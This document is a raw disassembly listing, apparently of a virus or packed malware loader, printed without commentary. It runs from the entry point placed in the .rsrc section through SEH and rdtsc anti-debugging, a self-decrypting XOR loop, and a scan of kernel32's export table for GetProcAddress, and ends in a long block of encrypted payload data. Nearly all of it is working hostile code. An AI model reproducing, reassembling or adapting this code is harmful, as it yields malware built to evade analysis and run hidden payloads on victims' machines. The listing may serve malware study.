		dec	esi
		inc	edi
		pop	eax
		pop	eax
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		pop	eax
		pop	eax
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		pop	eax
		pop	eax
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		pop	eax
		pop	eax
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		pop	eax
		pop	eax
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		pop	eax
		pop	eax
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		pop	eax
		pop	eax
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		pop	eax
		pop	eax
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		pop	eax
		pop	eax
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		pop	eax
		pop	eax
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		pop	eax
		pop	eax
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		pop	eax
		pop	eax
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		pop	eax
		pop	eax
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		pop	eax
		pop	eax
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		assume ds:_data

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

; FUNCTION CHUNK AT 40056C54 SIZE 00000003 BYTES

		cmc
		pusha
		call	loc_40056C13
		call	sub_40056CBB
		cld
		nop
		jmp	loc_40056C54
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40056C13:				; CODE XREF: start+2p
		push	dword ptr fs:0
		mov	ds:dword_40056C58, esp
		jmp	short $+2
		mov	fs:0, esp
		xor	edx, edx
		push	edx
		push	edx
		push	80000000h
		push	1
		push	10h
		push	edx
		push	40h
		push	80000000h
		push	edx
		push	edx
		push	1
		push	edx
		push	edx
		call	ds:dword_400243F4	; RegCloseKey
; START	OF FUNCTION CHUNK FOR start


loc_40056C54:				; CODE XREF: start+Ej
		stc
		mov	eax, eax
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 0BCh
dword_40056C58	dd 12FF9Ch	; ---------------------------------------------------------------------------
		pop	large dword ptr	fs:0
		pop	ebx
		cld
		xchg	ebx, ebx
		stc
		sub	ebx, ebx
		sub	ecx, ecx
		clc
		mov	cl, 98h
		nop


loc_40056C70:				; CODE XREF: .rsrc:40056C76j
		lea	ebx, [ebx+1]
		xchg	ebx, ebx
		dec	ecx
		jnz	short loc_40056C70
		clc
		cmc
		call	sub_40056CB5
		mov	eax, eax
		mov	ecx, ecx
		sub	ecx, 0FFFFFFB5h
		push	ecx
		mov	edi, 2990h
		mov	edx, edx


loc_40056C91:				; CODE XREF: .rsrc:40056CA7j
		xchg	al, [ecx]
		stc
		cmc
		sub	ax, bx
		cld
		stc
		xchg	al, [ecx]
		mov	ebx, ebx
		clc
		add	ecx, 1
		dec	edi
		nop
		cld
		or	edi, edi
		jnz	short loc_40056C91
		pop	ecx
		nop
		mov	[esp+18h], ecx
		xchg	ebx, ebx
		cld
		popa
		jmp	ecx

; =============== S U B	R O U T	I N E =======================================



sub_40056CB5	proc near		; CODE XREF: .rsrc:40056C7Ap
		pop	ecx
		cld
		stc
		push	ecx
		retn
sub_40056CB5	endp

; ---------------------------------------------------------------------------
		stc

; =============== S U B	R O U T	I N E =======================================



sub_40056CBB	proc near		; CODE XREF: start+7p

arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		pop	dword ptr [eax+0B8h]
		xor	eax, eax
		retn
sub_40056CBB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		cld
		stc
		call	$+5
		mov	eax, [esp]
		cld
		mov	[eax+32C7h], ebx
		mov	ecx, [eax+297Fh]
		mov	ebx, [esp+4]
		and	ecx, 10000000h
		jz	short loc_40056D16
		pop	ecx
		mov	[eax+32CBh], esi
		mov	cl, [eax+2983h]
		mov	[eax+32CFh], edi
		cmp	cl, 0E8h
		jz	short loc_40056D0B
		mov	ebx, [eax+2985h]
		jmp	short loc_40056D14
; ---------------------------------------------------------------------------


loc_40056D0B:				; CODE XREF: .rsrc:40056D01j
		add	ebx, [eax+2984h]
		mov	ebx, [ebx+2]


loc_40056D14:				; CODE XREF: .rsrc:40056D09j
		mov	ebx, [ebx]


loc_40056D16:				; CODE XREF: .rsrc:40056CE9j
		push	ebp
		mov	ebp, eax
		sub	dword ptr [esp+4], 3D8DFh
		sub	ebp, 101005h
		mov	edi, [esp+4]
		lea	esi, [ebp+103990h]
		mov	ecx, 0
		rep movsb
		call	sub_40056DEF
		mov	ecx, eax
		call	sub_40056DEF
		sub	eax, ecx
		jz	short loc_40056DC1
		cmp	eax, 100h
		ja	short loc_40056DC1
		and	ebx, 0FFFFF000h


loc_40056D55:				; CODE XREF: .rsrc:40056D64j
		cmp	dword ptr [ebx+4Eh], 73696854h
		jz	short loc_40056D66


loc_40056D5E:				; CODE XREF: .rsrc:40056D73j
		sub	ebx, 100h
		jnz	short loc_40056D55


loc_40056D66:				; CODE XREF: .rsrc:40056D5Cj
		mov	eax, ebx
		add	eax, [ebx+3Ch]
		mov	edx, [eax+78h]
		cmp	word ptr [eax],	4550h
		jnz	short loc_40056D5E
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx


loc_40056D80:				; CODE XREF: .rsrc:loc_40056D94j
		lodsd
		add	eax, ebx
		cmp	word ptr [eax+2], 5074h
		jnz	short loc_40056D94
		cmp	dword ptr [eax+5], 6441636Fh
		jz	short loc_40056D99


loc_40056D94:				; CODE XREF: .rsrc:40056D89j
		loop	loc_40056D80
		pop	ecx
		jmp	short loc_40056DC1
; ---------------------------------------------------------------------------


loc_40056D99:				; CODE XREF: .rsrc:40056D92j
		sub	[esp], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx


loc_40056DA2:				; CODE XREF: .rsrc:40056DF2j
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		lea	eax, [ebp+10113Fh]
		mov	dx, [eax-17h]
		call	sub_40056DF4
		jmp	short loc_40056E09
; ---------------------------------------------------------------------------


loc_40056DC1:				; CODE XREF: .rsrc:40056D46j
					; .rsrc:40056D4Dj ...
		mov	eax, [ebp+103984h]
		and	eax, 10000000h
		jz	short loc_40056DED
		mov	edi, [esp+4]
		lea	esi, [ebp+103988h]
		lodsd
		mov	ebx, [ebp+1042CCh]
		stosd
		movsb
		mov	edi, [ebp+1042D4h]
		mov	esi, [ebp+1042D0h]


loc_40056DED:				; CODE XREF: .rsrc:40056DCCj
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40056DEF	proc near		; CODE XREF: .rsrc:40056D38p
					; .rsrc:40056D3Fp
		rdtsc
		retn
sub_40056DEF	endp

; ---------------------------------------------------------------------------
		jg	short loc_40056DA2

; =============== S U B	R O U T	I N E =======================================



sub_40056DF4	proc near		; CODE XREF: .rsrc:40056DBAp
		push	ebx
		mov	ecx, 2845h
		mov	ebx, edx


loc_40056DFC:				; CODE XREF: sub_40056DF4+11j
		xor	[eax], dl
		sub	dl, bl
		xchg	bl, bh
		inc	eax
		xchg	dl, dh
		loop	loc_40056DFC
		pop	ebx
		retn
sub_40056DF4	endp

; ---------------------------------------------------------------------------


loc_40056E09:				; CODE XREF: .rsrc:40056DBFj
		xchg	eax, edi
		mov	ds:11810000h, al
		outsb
		retf
; ---------------------------------------------------------------------------
		db 0F0h, 93h, 4Ch
		dd 6AFEEB29h, 0F76D8789h, 2C670046h, 0E4869B0Ah, 0E2A8DD5h
		dd 71ABFD3Fh, 6437F454h, 5562FDA1h, 0C045C668h,	26741285h
		dd 17EA99A0h, 5BA69B54h, 7F06E99Dh, 52ABEBEFh, 22E0CE32h
		dd 0ADE05CB7h, 36E48B0Dh, 2BBD4F2Ch, 0EAA7A9D0h, 0D39D2F7Bh
		dd 0D13A52E7h, 20308129h, 3D723460h, 34553281h,	14735A8h
		dd 399EA759h, 8FBDAD85h, 3CF6F958h, 2BBD30C6h, 0C5A1BFCCh
		dd 42C2D410h, 0E1F5C4CFh, 460AD058h, 0C81B446Ch, 4A62D905h
		dd 59826E37h, 0CDAACD48h, 405B4759h, 94A5D1A0h,	44840FC1h
		dd 0E3B3D4E8h, 58CEE9BEh, 4F7E6CBDh, 9515DBC4h,	60F460F5h
		dd 40DFDF0Ch, 62116C28h, 0F149BC64h, 664ADB76h,	67E10F6Dh
		dd 6AA23DD4h, 780160F4h, 0ADE9ADF2h, 709EEF54h,	44B778E8h
		dd 1CD6E3BAh, 767A87C4h, 0EDE1F7A6h, 7AD2C7C6h,	0F8693B91h
		dd 7E0AFF56h, 801B72CBh, 9521110h, 884DBA4Bh, 6B1B0548h
		dd 882E17ECh, 98BE9C1Dh, 29750B24h, 62A9EF27h, 0FA32845Ch
		dd 0CBB22228h, 8F538649h, 3D491578h, 0CFD7EB87h, 8645E7A0h
		dd 9CA57303h, 0BB51DF9h, 0A0FE21AAh, 27B2E5C3h,	3BB22C24h
		dd 31DA258Ah, 0A9142746h, 0AA2629B8h, 0ACC643F4h, 3B952D19h
		dd 0B01E118Ah, 36BDF1E5h, 0B4563186h, 0DEAA35C2h, 0B89A374Ch
		dd 5283399Ah, 0BD8C6C98h, 0BE8B5568h, 55D13FDDh, 0C2C27FB6h
		dd 0C576494Ch, 0F08FBAC8h, 20BE5752h, 0CA624915h, 0CC041A5Dh
		dd 97AA2758h, 0DA24451Fh, 0EC58C45Fh, 257D5354h, 8087D62Bh
		dd 0D8DE47B2h, 0D8B6DD3Fh, 0DACE5BD4h, 90CA5D78h, 0AC221B48h
		dd 90879EC0h, 69B6735Ah, 0F64DB3BDh, 653754ACh,	0FA9CD7EDh
		dd 7F48DAF4h, 0EEE81870h, 233EC3Ch, 0F23261DEh,	0F6D6F78Bh
		dd 73F17528h, 0F80E490Eh, 75C3098Fh, 0EC5EA091h, 248FF6B8h
		dd 0FFAE6F62h, 87DD8070h, 4E6BA8Ch, 385C00C3h, 78C187FCh
		dd 25670691h, 87869B0Dh, 1E144755h, 0EFD46C7Ch,	97FD9051h
		dd 1406AAF8h, 286818E3h, 11BD971Ch, 9503E84Fh, 0C9FD2D1h
		dd 1FF275F8h, 9D639F9Ch, 22829E08h, 245C6C6Fh, 56257C7Eh
		dd 2B9F2428h, 0D321E9BAh, 46C6C123h, 0CDDF2000h, 890EBFA9h
		dd 32B2B179h, 0CA1BB789h, 50054A57h, 759A3AE7h,	3A42B9F0h
		dd 7B6B10F2h, 0DAB8163Ch, 7DDA2A51h, 247EC190h,	0EF10C1ADh
		dd 0A418074Bh, 226A4C99h, 388EA110h, 808DCBB4h,	8A21CD32h
		dd 5026CF96h, 38FAD1A0h, 3EC48204h, 0C3C585E6h,	58CEE942h
		dd 1A465A68h, 5C5437BCh, 341E5678h, 0AA2541Ch, 8128B80h
		dd 64DCB166h, 66280960h, 39FE8DACh, 95F2163Ah, 7C783D61h
		dd 0EBB3B298h, 770AE0C3h, 0FF32F1E1h, 64C6F331h, 7AC14C28h
		dd 9795F7CCh, 97435C83h, 7C76EB14h, 6A487835h, 6051FF4Ch
		dd 0A2385550h, 1109FCCEh, 868A3B96h, 0FD61C769h, 8BADE1A4h
		dd 9D6E0B34h, 0DD2A0DD8h, 0F2AB4B19h, 0E0227655h, 0F87F65ADh
		dd 96DF720Dh, 9D0EFF5Bh, 2FFD19B0h, 9CB65918h, 0A0288807h
		dd 5FB91F8Ch, 0B2AC07D5h, 0CE3649E4h, 0F04FDA8Ah, 117E3712h
		dd 0AA2228F8h, 252700E3h, 0F93E0914h, 8E94BA43h, 44813170h
		dd 8B609687h, 0E2FA35B8h, 260BC81Bh, 3F4229CEh,	0FA804F54h
		dd 0CC8EC3BBh, 0E45AC032h, 0A8D22B88h, 52E3BC0Eh, 431A55F6h
		dd 5B6233ACh, 0CA67C1F8h, 5DCF78B4h, 4B9377BBh,	0D05E70CAh
		dd 0AE7363D5h, 0A7F57760h, 0FE4E269Ah, 0D679960Dh, 8ED25930h
		dd 8C770D84h, 4B350E28h, 0E07E6152h, 964BA145h,	0C0C29C6Bh
		dd 0D0DFEA00h, 0FE7793h, 155D9495h, 0CAD394A7h,	5EA7DA6h
		dd 0D84AEEB2h, 0A53271E1h, 0CAF0E67Bh, 63857538h, 0F80E49EAh
		dd 539B999h, 963C7BEBh,	940A17B8h, 68AE155Ch, 2568101h
		dd 49C472Fh, 8D96EF18h,	5EDC7828h, 0AD6D6E8h, 0E44FB834h
		dd 0F1D57202h, 59F1AF1h, 43209130h, 81E9C395h, 16AAAB42h
		dd 0DB7E538Fh, 425A663Bh, 2E4A9B0Ch, 10219DF8h,	20EF9F9Ch
		dd 2292A140h, 2436A3E4h, 0F5EA588h, 287EA72Ch, 7C73A9D0h
		dd 1E535427h, 856ABD26h, 0F08A03E5h, 0DC504A15h, 49C33EC7h
		dd 64FAA5B1h, 61422B3h,	0BFCBB9E0h, 3CF6F9D8h, 3E8AABD0h
		dd 2F41F3DCh, 12A2B4EBh, 2D00AA56h, 237DA0A4h, 3DD2A63Ah
		dd 1A628875h, 72345E4Bh, 0CB23CD48h, 505E8DACh,	33B08D63h
		dd 35D8B637h, 195EB085h, 3BBBBDEEh, 0CDEAA44h, 3F4388A0h
		dd 2DA6DD0Ch, 502AD68h,	1051E1AEh, 1C28201h, 3368C4Eh
		dd 1ABDE7EDh, 0FD68835h, 92A82B2h, 1E9A8CD5h, 31E98155h
		dd 1740B2E0h, 24B387E5h, 13199A5Ah, 785F84BFh, 1BA78B33h
		dd 19349E60h, 1B7E92D5h, 0E5DC9708h, 0C1526561h, 0F09766D6h
		dd 0F4F2512Dh, 885A6689h, 0EB877BD3h, 0E3D26E40h, 0EB4261B7h
		dd 0A2FD7F10h, 0E2137F73h, 0E0797BB7h, 0FFC25068h, 0EA364378h
		dd 9A6678D5h, 0F9CA7212h, 0FB2774ACh, 0D9BD70C8h, 0CFF75533h
		dd 0C15B4AB0h, 0C3A86388h, 0CA176B49h, 0D35048A2h, 0D8A36C74h
		dd 0CB06445Eh, 0C27A5BFDh, 0C6C75309h, 0B4174061h, 0F08E50EFh
		dd 0EBFB5B25h, 0BA274399h, 0FA925ED3h, 0EAEF5151h, 0C04B52B5h
		dd 8FA624C7h, 0A803274Bh, 0A87B0DADh, 89DB2B08h, 0BE070E10h
		dd 0BC6B2EE0h, 0ABC6241Eh, 0B5232EB2h, 0B7B551E1h, 0B9F30730h
		dd 0A25B0598h, 9FDE16E4h, 0BFD42D55h, 0B34F28A6h, 0BB8D5D16h
		dd 920B0968h, 8C7D08B3h, 0E4F71B21h, 0B02E004Fh, 858B0BC3h
		dd 8CCC2035h, 8D2B199Bh, 808504ECh, 9FC26F7Dh, 9B7E1581h
		dd 86B701E6h, 0BB7A3451h, 914807ADh, 9C8D0E15h,	990A1252h
		dd 9B7A32B8h, 6CC73932h, 7233CC65h, 6398EAD4h, 76D58509h
		dd 7A6EE989h, 7987EAFFh, 7ED68B47h, 7D4FEEB7h, 56FCBC0Fh
		dd 6601E349h, 7B64C3C4h, 65C9F00Bh, 7D10A53Fh, 4902EDC8h
		dd 75E0EF31h, 6A0BF894h, 4287EDE8h, 51F7D535h, 4165A3A5h
		dd 4AB3E3FCh, 4517F349h, 4671A9B5h, 2CB6CE11h, 5A19D44Bh
		dd 595AC2D9h, 5DE6D40Dh, 513ADA42h, 5397DCFCh, 55F0E24Ch
		dd 5314C991h, 5AA9CCF1h, 5BE6D47Eh, 3247E9DCh, 2EB3B4F4h
		dd 2B1AAF65h, 344DC5ABh, 0EDBB305h, 4A07A579h, 2847BFFAh
		dd 3AD9B832h, 2627BDACh, 3597BDC9h, 3BC2A021h, 5654B083h
		dd 2A9DA3C2h, 3FF6B855h, 394AB292h, 1DBE9378h, 140FBA6Eh
		dd 0D60B1A5h, 17C58607h, 252EAB08h, 1C9F82DEh, 5D0B935h
		dd 1F358E97h, 20EA95DDh, 15FCAC48h, 21578581h, 1DA290E1h
		dd 387A9B47h, 1D6CB4B8h, 2FA78D11h, 2C149E67h, 1B6992CAh
		dd 0CEAE8C2Fh, 0F2334C74h, 0F3936AF2h, 0E3C96307h, 0E757738Fh
		dd 0FEAC09FEh, 0E2E37B7Bh, 0EB46649Eh, 0DFBA417Ch, 0C21C7450h
		dd 0F1757CB6h, 0F9EE661Bh, 98307267h, 0EA4D6DFEh, 0F9F57531h
		dd 0F123699Bh, 0D4A01FF2h, 0D6FD5310h, 0F2424081h, 0D3AE57E1h
		dd 0CD334B4Dh, 0D35046BDh, 0FDB26574h, 0D718486Dh, 0DF6841F5h
		dd 0C6D35C12h, 0E0385C6Dh, 0D89F5EC7h, 0EFEA794Ch, 0DF365082h
		dd 0C89452C2h, 0F3E65C4Dh, 0B24152B9h, 0B68041F9h, 0AD181648h
		dd 0A37E2AABh, 0A1CC333Fh, 0A5362E7Eh, 0A57525F5h, 0A7D8390Bh
		dd 874E2892h, 0A6A110F3h, 0A1E22125h, 0BA595598h, 0ABBB24E3h
		dd 0BFE93A5Fh, 0B3455BA0h, 0BDAF3316h, 85095F68h, 917D09B4h
		dd 8ACF0110h, 0E63F0869h, 9E9D02DEh, 84C71A50h,	83356B90h
		dd 9A8F06FBh, 84E0263Ch, 975C0385h, 9BBA30F0h, 9732105Bh
		dd 9D7213A2h, 8EAC3070h, 99080971h, 8A6F3ACCh, 6EC0101Fh
		dd 6726E265h, 6582D0C0h
		dd 4F9AE03Ch, 7A5BF382h, 4596ECFEh, 4DE8EE44h, 7A44C4D8h
		dd 75A0FD19h, 7702DE54h, 7864C6AAh, 78F39529h, 762CF278h
		dd 7F50EDD5h, 75E0FF35h, 5F4AF894h, 70AFC9D8h, 0CA09209h
		dd 247AEFA0h, 65BDC0DAh, 4D0DC840h, 2A5BCC9Bh, 63A1CE26h
		dd 6504C868h, 484BD6D9h, 57E0B121h, 5123E263h, 57ACCCDAh
		dd 7DFBC220h, 6842F888h, 59B5DCF1h, 52EBEB4Ch, 386BDAA9h
		dd 7184C1C1h, 1274A9D2h, 2CCE4E9Eh, 3A41956Dh, 0DF9D9F08h
		dd 4C1689E4h, 18FC09D3h, 0AF189FAAh, 0C70DC9D0h, 5486EDFAh
		dd 82A116Bh, 0D5DEDF4Eh, 92A92279h, 5C26B385h, 12473578h
		dd 6004DC38h, 3243E4AAh, 0EFB38937h, 0B2D1B5C4h, 2894B3FCh
		dd 95F1BB01h, 7C780D61h, 622E6E98h, 4E607AC3h, 0B6B1F1F0h
		dd 0E15B308Ch, 766AC8DCh, 78743EFFh, 7AF29122h,	0B8EDFB26h
		dd 3E60ACE9h, 98C4AE0Ch, 0D65AC183h, 7BA60DCEh,	96A4E7DDh
		dd 0A8FA84ECh, 4A67DBA3h, 7B44923Bh, 4C095502h,	6FFD58BFh
		dd 6D8DD0C8h, 31921C3Bh, 0C6BA1568h, 982CFB64h,	0F0D692B0h
		dd 0F66A9054h, 9E4A75B8h, 0A2841F8Ch, 0CA924B12h, 0A4365108h
		dd 0F58B25E2h, 7EEBD87Ch, 0F52239EEh, 8A53D42Dh, 2B6A3D26h
		dd 3B7F5B43h, 0A2A7B9EDh, 395AD004h, 0A6EA353Dh, 0EF4F344Ch
		dd 3190C6A3h, 0ACD8F911h, 6405B038h, 282E3FF4h,	3D2DBEABh
		dd 0FAACC6AFh, 499745D8h, 0C8BE6E4Bh, 359D53F8h, 0A83C04Bh
		dd 43AA5D66h, 0D0676173h, 2DFBB9A0h, 511DACBBh,	0D62A6B22h
		dd 0F8AA9709h, 0F3B9D6BDh, 28CE5BD4h, 5535A286h, 0F0508D99h
		dd 96D2E4C0h, 0AC39EE6Fh, 0E5A6521h, 17019973h,	29FDAEDBh
		dd 0EC4683A1h, 6FB76D98h, 0E09573D1h, 7FFB42E0h, 0E4C8D401h
		dd 0A72E2428h, 0A94F279Dh, 0C490EC8Fh, 0F8E17B04h, 0D89F829Ch
		dd 5DAE6F62h, 575285C2h, 4F6834Ch, 0EB1BD848h, 82E9CA7h
		dd 9F6F76FAh, 0C969022h, 2EE7DF88h, 10E48F58h, 747E55A3h
		dd 0F4A1603h, 36779578h, 30012CBh, 1A2699A0h, 0DFFB9B7Eh
		dd 0F6128792h, 20EE9F95h, 88F3E3CDh, 0D4436A1Ah, 664FCC4Bh
		dd 2D7EB713h, 682AA154h, 13863EFDh, 0CC9DAD08h,	30E6FA7Fh
		dd 6FB2B160h, 2FF35E85h, 0AB71B5B8h, 388E8808h,	3266C573h
		dd 8562B494h, 0BF8ABD38h, 402CB730h, 46BA9580h,	0BB76C325h
		dd 5624BF5Dh, 0C5424C6Ch, 4B66ED94h, 2656CBB4h,	4EAE2558h
		dd 218CFFCh, 0ADA5D1F2h, 44A8A5D1h, 0DBF3E6E8h,	58DFD31Bh
		dd 30D38830h, 5D4C8AD6h, 5ECADD10h, 0F5918D5Ch,	6202DF82h
		dd 104066F2h, 0E0EB553h, 68FEE6A8h, 4E161607h, 6C46E9D4h
		dd 51C87867h, 0F5D7EF2Ch, 91248520h, 0A05DA390h, 2728F542h
		dd 0EDE1A19Bh, 7AD2C7CAh, 9A67E4Dh, 0EBF5AB68h,	80BEC17Ah
		dd 0D016568Dh, 0DCB269F3h, 879E92C5h, 0BB9507ECh, 0D3F26350h
		dd 0DCD6A0C7h, 0DE7A5D88h, 5315D2Ch, 92622F6Ah,	961ED745h
		dd 0E2451568h, 0DA11F28h, 9A1226A2h, 8E33E407h,	0C34A0DC7h
		dd 20EE1B5Eh, 0A3E72B7Eh, 20BBA8A2h, 45DA359Dh,	0A8EBAA35h
		dd 0A92239C0h, 7E397DA5h, 2665ED9Ch, 0B00E2EA3h, 0B3A2B56Fh
		dd 8AD63304h, 0F0EA4092h, 0B79E09CCh, 0BA433874h, 9CD8BB94h
		dd 3FCCCC4Dh, 8E676FE2h, 499034C7h, 0C53085EBh,	97D46E87h
		dd 9EEF4706h, 0C0F7B643h, 95065B8Bh, 4BA58C63h,	0D04E4F23h
		dd 0CC69D42Dh, 0D4FC5354h, 0D63A5980h, 278D078Ch, 0CABD53A5h
		dd 0DC2A66D4h, 5BC55D78h, 0E06E5FA3h, 0E212D029h, 0B488E264h
		dd 0E90C2C5Ah, 0E8FEC229h, 0E264EA50h, 0E34B5758h, 0EEEAF41Ch
		dd 85AE533Ch, 0C80EDD13h, 0F45AF68Bh, 0FBD77528h, 0D83E57ECh
		dd 9FA5584Dh, 50190E60h, 827F5D84h, 205101DDh, 7726F568h
		dd 78802D5h, 29B5BF38h,	4FF8EF99h, 3BED896Fh, 0CA19B8Eh
		dd 5CC87AD8h, 2E641A83h, 0D2419130h, 4446C394h,	16BA9C80h
		dd 6F31D30Ch, 7B6DF5DEh, 89599B30h, 1E5AA2E2h, 169A5F19h
		dd 0A71B6873h, 24269CA0h, 24DACDD9h, 792F272Ch,	0BFDDF986h
		dd 2CD6946Ah, 35F53895h, 35EAFACh, 62E3E5A9h, 0CB07E256h
		dd 26C4E73Dh, 1C9A304Ch, 4642C0Fh, 0FF1EBB84h, 2BFD30B8h
		dd 0B92FBFCCh, 28D3AB43h, 0BB453C25h, 53E5C1BBh, 12CA07E9h
		dd 9AE91223h, 1C05C007h, 8D1F4064h, 0DB4EDFE1h,	52F3DD1Ah
		dd 5C1C5844h, 553AD5E9h, 3815FC74h, 0FC7112BBh,	1B23AFB5h
		dd 7021289Ah, 3361189Fh, 0E9452D4Bh, 0EE2B3B0h,	0C08B448h
		dd 8E6B1853h, 0E1A2F96Eh, 7C78B179h, 622E6E98h,	990D2017h
		dd 183536E7h, 0FDD61B84h, 25B9F667h, 2F4AB183h,	2687AB31h
		dd 0E059259h, 18658ED7h, 0E9F9A328h, 0F53D656Eh, 0F1B55FD7h
		dd 0E8FF773Ah, 0FA5B5198h, 0E48D60E3h, 0FCFE4E68h, 0EB5862B4h
		dd 0F19A0F0Eh, 0E6177652h, 0E0657C8Ch, 96BA1768h, 112C425Ch
		dd 0F570698Ch, 0B2CB722Ch, 0F9296F91h, 0D88F73FDh, 0CEE20F39h
		dd 0E77F6DE4h, 0CBB305C3h, 0D0104546h, 0FF2859A7h, 8C946E27h
		dd 0E7256779h, 0C6280FF2h, 0C7C64309h, 0B4BE660Eh, 0EBFA35A8h
		dd 0A633DACDh, 3F8439E0h, 0BCF62EE3h, 0C01FC238h, 12E2FE2h
		dd 0FEA65E68h, 71FD5D4Eh, 0C60A7BFEh, 0E682EB35h, 4B046365h
		dd 0B91BB48Ah, 0F417C07Bh, 5B4E5FC3h, 77A553D6h, 511BF622h
		dd 0D62A6D58h, 0E008D203h, 53785920h, 92AAA192h, 0DF7BA686h
		dd 0B08590FEh, 1DE94028h, 0C0CAE09Bh, 0A22F6100h, 0E8FE6F44h
		dd 0A9E43A50h, 0A00A2FDAh, 647F9298h, 0FB8E7F02h, 613F0520h
		dd 0B8571EEh, 0E64447BDh, 6BCE88CCh, 53CEE98h, 0FC6D93EBh
		dd 0B8597DB8h, 53E1201Fh, 4E1EC52Eh, 8E637CA4h,	0EE9A9576h
		dd 0F7C17990h, 0F5148978h, 0D00B74CBh, 3D2A9DCAh, 0F84B02B5h
		dd 43728162h, 4447C295h, 0E9EBC439h, 8601199h, 1A0971B0h
		dd 4FF39B54h, 2C79CFBDh, 6CA2DBB2h, 0A8075E40h,	0CC36B3DAh
		dd 26DAA582h, 5A0ED45Bh, 4C56C7B9h, 0D396AB35h,	3E549F8Dh
		dd 0A8B26BCh, 3DB2A15Eh, 49DB3E35h, 0BFFAA5B1h,	28A1F7C9h
		dd 0AFBDE8F0h, 3CF6851Eh, 3E8ED5ABh, 0F5A3BFDCh, 42C2D80Ah
		dd 62CB4E7Dh, 0AE1AD5F7h, 0B74132AEh, 27E70E76h, 4C06DBAAh
		dd 210F4E08h, 504EDFE2h, 4CDF442Dh, 0C6D354h, 5650D482h
		dd 58DCBFDEh, 0CF7D5930h, 5C36E4FEh, 2B901DFDh,	0E3523Eh
		dd 3012F1DEh, 0D13BE50Eh, 664AFB65h, 38AEB1F8h,	0FF5DBB01h
		dd 6C56D4DAh, 487F12C0h, 0B68EFF03h, 6273B665h,	783EF384h
		dd 217AF528h, 335DB89Fh, 3EECCB43h, 8366B758h, 6E34772Dh
		dd 87C66C5Ch, 0F520100h, 94EEE211h, 3B175C48h, 882E391Ah
		dd 75173478h, 8C8AE3CBh, 0C77D0DD8h, 0D5804632h, 0DE363F74h
		dd 1E91388h, 96AA2BE2h,	1C51D789h, 9A021B85h, 9CA373C7h
		dd 2BC71DF8h, 0A0FE0683h, 0B02FAC19h, 4C3633DBh, 5925D08Eh
		dd 97689AAFh, 0A52229C0h, 0ACC43BF0h, 3E86AC18h, 0E40E2FBDh
		dd 0B2B33008h, 42C3CC04h, 37FA2596h, 0B89FA788h, 6EC969F0h
		dd 43B43BFEh, 0AEB52BADh, 99EEBADCh, 4ABA4CF5h,	3B764337h
		dd 0D624EF5Dh, 4B5CAC6Ch, 0DA7C26ADh, 0E5734BB4h, 0D0D9C8D5h
		dd 2F1E4FECh, 0C2CD5335h, 0DB56D644h, 0D63BDC6Ch, 0D49EDC8Ch
		dd 0EA7D59BBh, 0C249DE5Bh, 5B0C5D68h, 0E07E1E5Bh, 88120BC1h
		dd 1BB40965h, 0F6656B9Dh, 1706E4ACh, 0EBC2ED5Fh, 61D56BF4h
		dd 0FEF4060Dh, 0A29E053Ch, 0CA78EB3h, 71D663BAh, 0B6FF7AE8h
		dd 751E77CDh, 0EADCF5CDh, 146ECA14h, 1F58784h, 0AEEB34h
		dd 0E479DF00h, 50D2B72Dh
		dd 381810B7h, 0B5B387FCh, 0AF2970Ah, 116E8A85h,	83D57222h
